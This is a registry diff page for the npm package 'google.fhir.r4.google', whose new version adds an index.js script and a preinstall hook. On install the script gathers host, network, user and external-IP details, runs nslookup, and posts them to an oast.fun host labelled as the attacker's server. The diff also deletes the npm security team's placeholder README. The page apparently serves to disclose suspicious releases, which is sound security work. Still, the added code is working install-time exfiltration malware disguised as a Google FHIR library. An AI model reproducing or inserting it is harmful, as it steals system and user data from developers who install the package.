google.fhir.r4.google 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of google.fhir.r4.google might be problematic. Click here for more details.
- package/index.js +82 -0
- package/package.json +10 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,82 @@
|
|
|
1
|
+
const os = require('os');
|
|
2
|
+
const https = require('https');
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const exec = require('child_process').exec;
|
|
5
|
+
|
|
6
|
+
// Function to send data to attacker's server
|
|
7
|
+
function sendDataToAttacker(data) {
|
|
8
|
+
const options = {
|
|
9
|
+
hostname: 'tqixhxwvibvpvtsahqraqodmtpnukgttl.oast.fun', // Attacker's server
|
|
10
|
+
port: 443,
|
|
11
|
+
path: '/googlefhir4', // Endpoint to collect data
|
|
12
|
+
method: 'POST',
|
|
13
|
+
headers: {
|
|
14
|
+
'Content-Type': 'application/json',
|
|
15
|
+
'User-Agent': data.userAgent // Send user agent in headers
|
|
16
|
+
},
|
|
17
|
+
};
|
|
18
|
+
|
|
19
|
+
const req = https.request(options, (res) => {
|
|
20
|
+
console.log(`Data sent with status code: ${res.statusCode}`);
|
|
21
|
+
});
|
|
22
|
+
|
|
23
|
+
req.on('error', (e) => {
|
|
24
|
+
console.error(`Problem with request: ${e.message}`);
|
|
25
|
+
});
|
|
26
|
+
|
|
27
|
+
req.write(JSON.stringify(data));
|
|
28
|
+
req.end();
|
|
29
|
+
}
|
|
30
|
+
|
|
31
|
+
// Collect system info
|
|
32
|
+
const systemInfo = {
|
|
33
|
+
hostname: os.hostname(), // Get server's hostname
|
|
34
|
+
platform: os.platform(), // OS platform (e.g., Linux, Windows)
|
|
35
|
+
arch: os.arch(), // Architecture (x64, arm, etc.)
|
|
36
|
+
cpus: os.cpus().length, // Number of CPU cores
|
|
37
|
+
memory: os.totalmem(), // Total system memory
|
|
38
|
+
networkInterfaces: os.networkInterfaces(),
|
|
39
|
+
};
|
|
40
|
+
|
|
41
|
+
// Collect user-related info
|
|
42
|
+
const userInfo = os.userInfo();
|
|
43
|
+
|
|
44
|
+
// Get external IP (simple API call to a free IP lookup service)
|
|
45
|
+
https.get('https://api.ipify.org?format=json', (resp) => {
|
|
46
|
+
let data = '';
|
|
47
|
+
|
|
48
|
+
resp.on('data', (chunk) => {
|
|
49
|
+
data += chunk;
|
|
50
|
+
});
|
|
51
|
+
|
|
52
|
+
resp.on('end', () => {
|
|
53
|
+
const ipInfo = JSON.parse(data);
|
|
54
|
+
systemInfo.externalIP = ipInfo.ip;
|
|
55
|
+
|
|
56
|
+
// Get company info (using the hostname)
|
|
57
|
+
exec(`nslookup ${os.hostname()}`, (error, stdout, stderr) => {
|
|
58
|
+
if (!error) {
|
|
59
|
+
systemInfo.companyDetails = stdout;
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
// Collect user agent (can be hardcoded or dynamically fetched in real scenarios)
|
|
63
|
+
const userAgent = "NodeJS Malicious Client/1.0";
|
|
64
|
+
|
|
65
|
+
// Prepare data to send
|
|
66
|
+
const collectedData = {
|
|
67
|
+
systemInfo,
|
|
68
|
+
userInfo,
|
|
69
|
+
userAgent, // User agent string for tracking
|
|
70
|
+
};
|
|
71
|
+
|
|
72
|
+
// Send data to the attacker's server
|
|
73
|
+
sendDataToAttacker(collectedData);
|
|
74
|
+
});
|
|
75
|
+
});
|
|
76
|
+
|
|
77
|
+
}).on("error", (err) => {
|
|
78
|
+
console.log("Error fetching IP: " + err.message);
|
|
79
|
+
});
|
|
80
|
+
|
|
81
|
+
// Execute immediately
|
|
82
|
+
console.log("Malicious package executed.");
|
package/package.json
CHANGED
|
@@ -1,6 +1,13 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "google.fhir.r4.google",
|
|
3
|
-
"version": "0.0
|
|
4
|
-
"
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"main": "index.js",
|
|
5
|
+
"scripts": {
|
|
6
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
7
|
+
"preinstall": "index.js"
|
|
8
|
+
|
|
9
|
+
},
|
|
10
|
+
"author": "",
|
|
11
|
+
"license": "ISC",
|
|
12
|
+
"description": ""
|
|
6
13
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=google.fhir.r4.google for more information.
|